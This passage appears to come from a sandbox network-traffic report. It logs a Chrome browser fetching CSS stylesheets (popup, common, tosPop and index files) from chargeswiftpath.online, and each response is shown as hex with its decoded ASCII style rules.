3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 09 70 Data Ascii: border: none;z-index: 2147483647}.exitpopup-overlay {background: rgba(0, 0, 0, .6);height: 100%;left: 0;position: fixed;top: 0;width: 100%;z-index: 2147483647;display: none}.exitpop-content img {display: block;margin: 0 auto;p
2025-01-08 14:45:40 UTC	1369	IN	Data Raw: 61 62 65 6c 20 7b 0a 09 77 69 64 74 68 3a 20 31 37 35 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 0a 7d 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 0a 2e 64 65 66 75 6c 74 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 0a 2e 64 65 66 75 6c 74 20 73 65 6c 65 63 74 2c 0a 2e 64 65 66 75 6c 74 20 74 65 78 74 61 72 65 61 20 7b 0a 09 6d 61 78 2d 77 69 64 74 Data Ascii: abel {width: 175px;display: inline-block}.defult input[type=text],.defult input[type=search],.defult input[type=number],.defult input[type=password],.defult input[type=tel],.defult input[type=email],.defult select,.defult textarea {max-widt
2025-01-08 14:45:40 UTC	1369	IN	Data Raw: 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 29 3b 0a 09 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 29 0a 09 7d 0a 09 31 30 30 25 20 7b 0a 09 09 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 29 3b 0a 09 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 31 29 3b 0a 09 09 6f 70 61 63 69 74 79 3a 20 30 0a 09 7d 0a 7d 0a 73 70 61 6e 2e 63 62 2d 69 6e 6c 69 6e 65 2d 65 72 72 6f 72 20 7b 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 31 30 30 3b 0a 09 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0a 7d 0a 66 6f 72 6d 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 0a 7d 0a 0a Data Ascii: transform: scale(0);-webkit-transform: scale(0)}100% {transform: scale(1);-webkit-transform: scale(1);opacity: 0}}span.cb-inline-error {margin-top: 10px;font-weight: 100;color: #c00;display: block}form {padding: 10px}
2025-01-08 14:45:40 UTC	1369	IN	Data Raw: 2d 69 6e 70 75 74 2c 20 0a 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2e 66 6f 72 6d 2d 69 6e 70 75 74 2c 20 0a 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2e 66 6f 72 6d 2d 69 6e 70 75 74 2c 20 0a 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2e 66 6f 72 6d 2d 69 6e 70 75 74 2c 20 0a 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2e 66 6f 72 6d 2d 69 6e 70 75 74 2c 20 0a 73 65 6c 65 63 74 2e 66 6f 72 6d 2d 69 6e 70 75 74 2c 20 0a 74 65 78 74 61 72 65 61 2e 66 6f 72 6d 2d 69 6e 70 75 74 7b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 43 45 44 34 44 41 3b 0a 09 68 65 69 67 68 74 3a 20 33 38 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 20 31 35 70 Data Ascii: -input, input[type=number].form-input, input[type=password].form-input, input[type=tel].form-input, input[type=email].form-input, select.form-input, textarea.form-input{border: 1px solid #CED4DA;height: 38px;border-radius: 4px;padding: 0 15p
2025-01-08 14:45:40 UTC	636	IN	Data Raw: 65 66 74 3a 20 31 30 30 25 3b 0a 09 6d 69 6e 2d 77 69 64 74 68 3a 20 39 30 70 78 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 20 31 35 30 70 78 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 70 78 3b 0a 09 74 6f 70 3a 20 35 30 25 3b 0a 09 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 35 30 25 29 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 35 30 25 29 3b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 2e 74 6f 6f 6c 74 69 70 3a 61 66 74 65 72 2c 20 2e 74 6f 6f 6c 74 69 70 3a 62 65 66 6f 72 65 20 7b 0a 09 72 69 67 68 74 3a 20 31 30 30 25 3b 0a 09 74 6f 70 3a 20 35 30 25 3b 0a 09 62 6f 72 64 65 72 3a 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 09 63 6f Data Ascii: eft: 100%;min-width: 90px;max-width: 150px;margin-left: 10px;top: 50%;transform: translateY(-50%);-webkit-transform: translateY(-50%);display: none;}.tooltip:after, .tooltip:before {right: 100%;top: 50%;border: solid transparent;co
2025-01-08 14:45:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.16	49862	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:40 UTC	769	OUT	GET /new/67234/app/desktop/css/popup.css HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:40 UTC	997	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:40 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close last-modified: Mon, 11 Nov 2024 10:53:58 GMT Cache-Control: max-age=31536000 expires: Sat, 20 Dec 2025 16:22:39 GMT vary: Accept-Encoding,User-Agent content-language: en-us CF-Cache-Status: HIT Age: 1635781 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8SqHLhFy1VeDzGkZoKKCx2vcwGqDb7hsXt%2BFCwo3vzASFXDlHU41Nu0Hjd5OJH7%2FMcp%2FMa5A7lRZjVwc2No%2B4gzKaqC1WiSk1e68D4BRKvMb4IQqv1VtTYwnJOyJIB6LuE2pEFP%2B7dIkFugSSg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf8fdfe8a42c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2197&min_rtt=2189&rtt_var=837&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2857&recv_bytes=1347&delivery_rate=1295474&cwnd=212&unsent_bytes=0&cid=c9fe849ed772c31d&ts=156&x=0"
2025-01-08 14:45:40 UTC	372	IN	Data Raw: 33 62 61 0d 0a 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 20 2e 61 70 70 5f 6d 6f 64 61 6c 5f 62 6f 64 79 20 69 66 72 61 6d 65 20 7b 0d 0a 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 33 34 34 70 78 3b 0d 0a 7d 0d 0a 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 20 2e 61 70 70 5f 6d 6f 64 61 6c 5f 62 6f 64 79 20 7b 0d 0a 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0d 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 35 30 25 29 3b 0d 0a 7d 0d 0a 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 2c 0d 0a 23 65 72 72 6f 72 5f 68 61 6e 64 6c 65 72 5f 6f 76 65 72 6c 61 79 20 7b 0d 0a 20 20 Data Ascii: 3ba#app_common_modal .app_modal_body iframe { min-height: 344px;}#app_common_modal .app_modal_body { min-height: auto; margin: auto; top: 50%; transform: translateY(-50%);}#app_common_modal,#error_handler_overlay {
2025-01-08 14:45:40 UTC	589	IN	Data Raw: 0d 0a 7d 0d 0a 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 64 65 76 69 63 65 2d 77 69 64 74 68 20 3a 20 33 32 30 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 64 65 76 69 63 65 2d 77 69 64 74 68 20 3a 20 39 39 31 70 78 29 20 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 20 3a 20 6c 61 6e 64 73 63 61 70 65 29 20 7b 0d 0a 20 20 20 20 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 20 2e 61 70 70 5f 6d 6f 64 61 6c 5f 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 32 38 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 23 61 70 70 5f 63 6f 6d 6d 6f 6e 5f 6d 6f 64 61 6c 20 2e 61 70 70 5f 6d 6f 64 61 6c 5f 62 6f 64 79 20 69 66 72 61 6d 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 6d 69 6e 2d Data Ascii: }@media only screen and (min-device-width : 320px) and (max-device-width : 991px) and (orientation : landscape) { #app_common_modal .app_modal_body { min-height: 280px; } #app_common_modal .app_modal_body iframe { min-
2025-01-08 14:45:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.16	49861	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:40 UTC	772	OUT	GET /new/67234/app/desktop/css02/common.css HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:40 UTC	989	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:40 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close last-modified: Mon, 11 Nov 2024 10:53:58 GMT Cache-Control: max-age=31536000 expires: Sat, 20 Dec 2025 16:22:39 GMT vary: Accept-Encoding,User-Agent content-language: en-us CF-Cache-Status: HIT Age: 1635781 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FzCqDxY6iY7U4OimH3ILuvf%2BqlTko6rvLcnmmUkRl0g7jjpzzUbCSf1i2GaWs5lk85gyHDqlsEO2UXWAFL34d0YrKoTFRdJG32f5DolCXeMQnJSIlm2D159aUZshQ8nBiQCTKp9gUsEWHWDD2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf8fe1a2c7ce4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2000&min_rtt=1995&rtt_var=759&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1350&delivery_rate=1432074&cwnd=228&unsent_bytes=0&cid=35350ff1edd8b630&ts=163&x=0"
2025-01-08 14:45:40 UTC	380	IN	Data Raw: 34 33 39 0d 0a 66 6f 72 6d 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 69 6e 70 75 74 2e 68 61 73 2d 65 72 72 6f 72 2c 0a 73 65 6c 65 63 74 2e 68 61 73 2d 65 72 72 6f 72 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 2d 69 6e 70 75 74 2e 70 6e 67 29 20 39 39 2e 35 25 20 35 30 25 20 6e 6f 2d 72 65 70 65 61 74 20 23 66 66 66 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 6f 72 61 6e 67 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 69 6e 70 75 74 2e 6e 6f 2d 65 72 72 6f 72 2c 0a 73 65 6c 65 63 74 2e 6e 6f 2d 65 72 72 6f 72 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 Data Ascii: 439form { padding: 0 !important;}input.has-error,select.has-error { background: url(../images/error-input.png) 99.5% 50% no-repeat #fff !important; border: 1px solid orange !important;}input.no-error,select.no-error { background: u
2025-01-08 14:45:40 UTC	708	IN	Data Raw: 5f 63 6c 6f 73 65 2c 0a 23 65 72 72 6f 72 5f 68 61 6e 64 6c 65 72 5f 6f 76 65 72 6c 61 79 5f 63 6c 6f 73 65 20 7b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 63 30 63 30 63 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 7d 0a 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 63 30 63 30 63 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 7d 0a Data Ascii: _close,#error_handler_overlay_close { line-height: 26px !important;}.form-control::placeholder { color: #0c0c0c !important; font-size: 14px;}.form-control::-webkit-input-placeholder { color: #0c0c0c !important; font-size: 14px;}
2025-01-08 14:45:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.16	49863	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:40 UTC	772	OUT	GET /new/67234/app/desktop/css02/tosPop.css HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:40 UTC	993	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:40 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close last-modified: Mon, 11 Nov 2024 10:53:58 GMT Cache-Control: max-age=31536000 expires: Sat, 20 Dec 2025 16:22:39 GMT vary: Accept-Encoding,User-Agent content-language: en-us CF-Cache-Status: HIT Age: 1635781 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zmAQg2zYpmS7hRSOEMFdN07Guy2LuaIF3NfgyQBY1xMwhUCWn4VZEj%2BGYObIF8fWuHEgPzt2347JJpOfktc%2FmNKcNkpR0eLp5yNsabjM%2BXeH6yAYbvr1B2jJzIVXh0jmDDgX5vl0I5gybWEHBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf8fe1cf6de97-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1470&min_rtt=1464&rtt_var=562&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1350&delivery_rate=1923583&cwnd=236&unsent_bytes=0&cid=17510315f1d4dc18&ts=160&x=0"
2025-01-08 14:45:40 UTC	376	IN	Data Raw: 31 31 66 32 0d 0a 2e 61 70 70 2d 62 65 6e 63 68 6d 61 72 6b 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 39 38 25 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 70 78 20 31 25 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 43 43 43 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 72 69 67 68 74 0d 0a 7d 0d 0a 2e 65 78 69 74 70 6f 70 2d 63 6f 6e 74 65 6e 74 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 34 30 30 70 78 3b 0d 0a 20 20 20 20 77 Data Ascii: 11f2.app-benchmark { position: fixed; width: 98%; left: 0; bottom: 0; padding: 5px 1%; background-color: #CCC; color: #333; text-align: right}.exitpop-content { position: fixed; height: 400px; w
2025-01-08 14:45:40 UTC	1369	IN	Data Raw: 62 6f 72 64 65 72 3a 20 30 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 32 31 34 37 34 38 33 36 34 37 0d 0a 7d 0d 0a 2e 65 78 69 74 70 6f 70 75 70 2d 6f 76 65 72 6c 61 79 20 7b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 2e 36 29 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 30 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 32 31 34 37 34 38 33 36 34 37 3b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 0d 0a 7d 0d 0a 2e 65 78 69 74 70 6f 70 2d 63 6f 6e 74 65 6e 74 20 69 6d 67 20 7b 0d Data Ascii: border: 0; z-index: 2147483647}.exitpopup-overlay { background: rgba(0, 0, 0, .6); height: 100%; left: 0; position: fixed; top: 0; width: 100%; z-index: 2147483647; display: none}.exitpop-content img {
2025-01-08 14:45:40 UTC	1369	IN	Data Raw: 7d 0d 0a 2e 73 66 2d 73 75 62 6d 69 74 2d 6c 6f 61 64 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 76 77 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 30 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 32 29 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 30 30 0d 0a 7d 0d 0a 2e 73 66 2d 73 75 62 6d 69 74 2d 6c 6f 61 64 65 72 2d 63 6f 6e 74 65 6e 74 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 74 65 Data Ascii: }.sf-submit-loader-container { display: none; position: fixed; width: 100vw; height: 100vh; top: 0; left: 0; background: rgba(0, 0, 0, 0.2); z-index: 1000}.sf-submit-loader-content { margin: auto; te
2025-01-08 14:45:40 UTC	1369	IN	Data Raw: 72 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 45 30 32 46 32 46 3b 0d 0a 7d 0d 0a 2e 70 72 69 63 65 6f 6c 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 37 72 65 6d 3b 0d 0a 20 20 20 20 74 6f 70 3a 20 31 30 70 78 3b 0d 0a 7d 0d 0a 23 70 61 79 2d 70 72 69 63 65 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 38 72 65 6d 3b 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 38 72 65 6d 3b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 37 31 64 63 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 33 72 65 6d 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 Data Ascii: r { border: 1px solid #E02F2F;}.priceol { width: 7rem; top: 10px;}#pay-price { width: 8rem; height: 8rem; position: absolute; background: #0071dc; color: white; font-size: 1.3rem; font-weight: bold
2025-01-08 14:45:40 UTC	119	IN	Data Raw: 6d 3b 0d 0a 20 20 20 20 20 20 20 20 74 6f 70 3a 20 35 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 7d 0d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 37 70 78 29 20 7b 0d 0a 20 20 20 20 2e 70 72 6f 64 2d 69 6d 67 20 7b 0d 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 32 35 30 70 78 3b 0d 0a 20 20 20 20 7d 0d 0a 7d 0d 0a 0d 0a Data Ascii: m; top: 50px; }}@media (max-width: 997px) { .prod-img { max-width: 250px; }}
2025-01-08 14:45:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.16	49864	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:40 UTC	771	OUT	GET /new/67234/app/desktop/css02/index.css HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:40 UTC	999	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:40 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close last-modified: Mon, 11 Nov 2024 10:53:58 GMT Cache-Control: max-age=31536000 expires: Wed, 24 Dec 2025 03:56:40 GMT vary: Accept-Encoding,User-Agent content-language: en-us CF-Cache-Status: HIT Age: 1334940 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3pvRgUbxy7jJoBUs6juVYsoMHopssrvRJ4DxSeyCcAeDUVsRzQf74%2F%2BFfWDvPHf5EZv01fJBZ7%2Bt9QbFR8VnKR%2Bwc3r%2FJEppCGkE%2BwE8jM92YHa1c5HPWoazQ5vpkiIMtud9hSJ1DOYiM9VfDQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf8fe393bc459-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1517&min_rtt=1513&rtt_var=575&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1349&delivery_rate=1888745&cwnd=231&unsent_bytes=0&cid=2496dc7b0c0f0668&ts=165&x=0"
2025-01-08 14:45:40 UTC	370	IN	Data Raw: 35 35 62 65 0d 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 2e 6e 6f 2d 67 75 74 74 65 72 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 2e 63 6c 65 61 72 66 69 78 20 7b 0a 20 20 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 7d 0a 70 2e 6e 6f 2d 6d 61 72 67 69 6e 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 70 2e 6e 6f 2d 70 61 64 64 69 6e 67 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 61 20 7b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 